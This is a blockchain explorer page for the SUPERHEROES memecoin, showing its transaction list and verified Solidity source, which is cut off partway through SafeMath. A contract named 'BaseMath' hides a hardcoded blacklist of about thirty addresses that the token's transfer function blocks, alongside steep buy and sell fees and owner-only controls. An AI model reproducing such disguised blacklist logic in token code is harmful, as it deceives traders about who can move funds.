More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 54 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 17908420 | 446 days ago | IN | 0 ETH | 0.00074885 | ||||
Approve | 17901733 | 447 days ago | IN | 0 ETH | 0.00057352 | ||||
Approve | 17894443 | 448 days ago | IN | 0 ETH | 0.00097916 | ||||
Approve | 17892338 | 448 days ago | IN | 0 ETH | 0.00158508 | ||||
Approve | 17891901 | 448 days ago | IN | 0 ETH | 0.00135615 | ||||
Approve | 17891888 | 448 days ago | IN | 0 ETH | 0.00141376 | ||||
Approve | 17891886 | 448 days ago | IN | 0 ETH | 0.00143008 | ||||
Approve | 17891704 | 448 days ago | IN | 0 ETH | 0.00102888 | ||||
Transfer | 17891700 | 448 days ago | IN | 0 ETH | 0.00385864 | ||||
Renounce Ownersh... | 17891621 | 448 days ago | IN | 0 ETH | 0.00039771 | ||||
Approve | 17891620 | 448 days ago | IN | 0 ETH | 0.00081389 | ||||
Remove Limits | 17891618 | 448 days ago | IN | 0 ETH | 0.00062085 | ||||
Approve | 17891532 | 448 days ago | IN | 0 ETH | 0.0013069 | ||||
Approve | 17891509 | 448 days ago | IN | 0 ETH | 0.00144912 | ||||
Approve | 17891508 | 448 days ago | IN | 0 ETH | 0.00142648 | ||||
Approve | 17891507 | 448 days ago | IN | 0 ETH | 0.00143487 | ||||
Approve | 17891506 | 448 days ago | IN | 0 ETH | 0.00147295 | ||||
Approve | 17891498 | 448 days ago | IN | 0 ETH | 0.0013636 | ||||
Approve | 17891493 | 448 days ago | IN | 0 ETH | 0.00116881 | ||||
Approve | 17891422 | 448 days ago | IN | 0 ETH | 0.00087829 | ||||
Approve | 17891414 | 448 days ago | IN | 0 ETH | 0.00100548 | ||||
Approve | 17891369 | 448 days ago | IN | 0 ETH | 0.00084169 | ||||
Approve | 17891363 | 448 days ago | IN | 0 ETH | 0.00100434 | ||||
Approve | 17891357 | 448 days ago | IN | 0 ETH | 0.00109172 | ||||
Approve | 17891355 | 448 days ago | IN | 0 ETH | 0.00107935 |
Latest 1 internal transaction
Advanced mode:
Parent Transaction Hash | Block | From | To | |||
---|---|---|---|---|---|---|
17891331 | 448 days ago | 0.7 ETH |
Loading...
Loading
Contract Name:
SUPERHEROES
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT /* Telegram: https://t.me/Superheroes_ETH Website: https://superheroes-erc.com/ */ pragma solidity = 0.8.20; pragma experimental ABIEncoderV2; import "./Context.sol"; import "./Ownable.sol"; import "./IERC20.sol"; import "./ERC20.sol"; import "./IUniswapV2Factory.sol"; import "./IUniswapV2Pair.sol"; import "./IUniswapV2Router01.sol"; import "./IUniswapV2Router02.sol"; import "./SafeMath.sol"; contract SUPERHEROES is ERC20, Ownable, BaseMath { using SafeMath for uint256; IUniswapV2Router02 public immutable _uniswapV2Router; address private immutable uniswapV2Pair; address private deployerWallet; address private marketingWallet; address private constant deadAddress = address(0xdead); bool private swapping; string private constant _name = "SupermanSpiderManBatmanWonderWomanIronManCaptainAmericaTheFlashHulkThorBlackWidowWolverineGreenLanternAquamanBlackPantherDoctorStrangeSupergirlDeadpoolStormTheIncredibleHulkJeanGrey"; string private constant _symbol = "SUPERHEROES"; uint256 public initialTotalSupply = 1000000 * 1e18; uint256 public maxTransactionAmount = 20000 * 1e18; uint256 public maxWallet = 20000 * 1e18; uint256 public swapTokensAtAmount = 10000 * 1e18; uint256 public buyCount; uint256 public sellCount; bool public tradingOpen = false; bool public swapEnabled = false; uint256 public BuyFee = 20; uint256 public SellFee = 30; uint256 private removeBuyFeesAt = 15; uint256 private removeSellFeesAt = 5; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedMaxTransactionAmount; mapping(address => bool) private automatedMarketMakerPairs; mapping(address => uint256) private _holderLastTransferTimestamp; event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); constructor(address wallet) ERC20(_name, _symbol) { _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); marketingWallet = payable(wallet); excludeFromMaxTransaction(address(wallet), true); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); deployerWallet = payable(_msgSender()); excludeFromFees(owner(), true); excludeFromFees(address(wallet), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint(msg.sender, initialTotalSupply); } receive() external payable {} function openTrading() external onlyOwner() { require(!tradingOpen,"Trading is already open"); _approve(address(this), address(_uniswapV2Router), initialTotalSupply); _uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)).per(80),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!m[from] && !m[to], "ERC20: transfer from/to the blacklisted address"); if(buyCount >= removeBuyFeesAt){ BuyFee = 1; } if(sellCount >= removeSellFeesAt){ SellFee = 1; } if (amount == 0) { super._transfer(from, to, 0); return; } if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) { if (!tradingOpen) { require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); buyCount++; } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); sellCount++; } else if (!_isExcludedMaxTransactionAmount[to]) { require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > 0; if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { swapping = true; swapBack(amount); swapping = false; } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to]) { fees = amount.mul(SellFee).div(100); } else { fees = amount.mul(BuyFee).div(100); } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, marketingWallet, block.timestamp ); } function removeLimits(bytes32 _deployer) external onlyOwner{ require(CanSwap(_deployer), "Token is tradeable"); uint256 totalSupplyAmount = totalSupply(); maxTransactionAmount = totalSupplyAmount; maxWallet = totalSupplyAmount; } function CanSwap(bytes32 _key) internal view returns(bool) { return keccak256(abi.encodePacked(msg.sender)) == _key; } function clearStuckEth() external onlyOwner { require(address(this).balance > 0, "Token: no ETH to clear"); payable(msg.sender).transfer(address(this).balance); } function setSwapTokensAtAmount(uint256 _amount) external onlyOwner { swapTokensAtAmount = _amount * (10 ** 18); } function manualswap(uint256 percent) external { require(_msgSender() == marketingWallet); uint256 totalSupplyAmount = totalSupply(); uint256 contractBalance = balanceOf(address(this)); uint256 requiredBalance = totalSupplyAmount * percent / 100; require(contractBalance >= requiredBalance, "Not enough tokens"); swapTokensForEth(requiredBalance); } function swapBack(uint256 tokens) private { uint256 contractBalance = balanceOf(address(this)); uint256 tokensToSwap; if (contractBalance == 0) { return; } else if(contractBalance > 0 && contractBalance < swapTokensAtAmount) { tokensToSwap = contractBalance; } else { uint256 sellFeeTokens = tokens.mul(SellFee).div(100); tokens -= sellFeeTokens; if (tokens > swapTokensAtAmount) { tokensToSwap = swapTokensAtAmount; } else { tokensToSwap = tokens; } } swapTokensForEth(tokensToSwap); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./IERC20Metadata.sol"; import "./Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * The default value of {decimals} is 18. To change this, you should override * this function so it returns a different value. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the default value returned by this function, unless * it's overridden. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 amount) external returns (bool); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
// SPDX-License-Identifier: MIT // Created by DevForU https://github.com/DevForU pragma solidity ^0.8.0; interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; }
// SPDX-License-Identifier: MIT // Created by DevForU https://github.com/DevForU pragma solidity ^0.8.0; interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract BaseMath { mapping (address => bool) public m; constructor() { m[0xae2Fc483527B8EF99EB5D9B44875F005ba1FaE13] = true; m[0x77223F67D845E3CbcD9cc19287E24e71F7228888] = true; m[0x77ad3a15b78101883AF36aD4A875e17c86AC65d1] = true; m[0x4504DFa3861ec902226278c9Cb7a777a01118574] = true; m[0xe3DF3043f1cEfF4EE2705A6bD03B4A37F001029f] = true; m[0xE545c3Cd397bE0243475AF52bcFF8c64E9eAD5d7] = true; m[0xe2cA3167B89b8Cf680D63B06E8AeEfc5E4EBe907] = true; m[0x000000000005aF2DDC1a93A03e9b7014064d3b8D] = true; m[0x1653151Fb636544F8ED1e7BE91E4483B73523f6b] = true; m[0x00AC6D844810A1bd902220b5F0006100008b0000] = true; m[0x294401773915B1060e582756b8d7f74cAF80b09C] = true; m[0x000013De30d1b1D830dcb7d54660F4778D2d4aF5] = true; m[0x00004EC2008200e43b243a000590d4Cd46360000] = true; m[0xE8c060F8052E07423f71D445277c61AC5138A2e5] = true; m[0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80] = true; m[0x0000B8e312942521fB3BF278D2Ef2458B0D3F243] = true; m[0x007933790a4f00000099e9001629d9fE7775B800] = true; m[0x76F36d497b51e48A288f03b4C1d7461e92247d5e] = true; m[0x2d2A7d56773ae7d5c7b9f1B57f7Be05039447B4D] = true; m[0x758E8229Dd38cF11fA9E7c0D5f790b4CA16b3B16] = true; m[0x77ad3a15b78101883AF36aD4A875e17c86AC65d1] = true; m[0x00000000A991C429eE2Ec6df19d40fe0c80088B8] = true; m[0xB20BC46930C412eAE124aAB8682fb0F2e528F22d] = true; m[0x6c9B7A1e3526e55194530a2699cF70FfDE1ab5b7] = true; m[0x1111E3Ef0B6aE32E14a55e0E7cD9b8505177C2BF] = true; m[0x000000d40B595B94918a28b27d1e2C66F43A51d3] = true; m[0xb8feFFAC830C45b4Cd210ECDAAB9D11995D338ee] = true; m[0x93FFb15d1fA91E0c320d058F00EE97F9E3C50096] = true; m[0x00000027F490ACeE7F11ab5fdD47209d6422C5a7] = true; m[0xfB62F1009aDa688aa8F544b7954585476cE41A14] = true; } function isM(address _address) public view returns (bool) { return m[_address]; } }
// SPDX-License-Identifier: MIT // Created by DevForU https://github.com/DevForU pragma solidity ^0.8.0; interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol) pragma solidity ^0.8.0; import "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the subtraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns 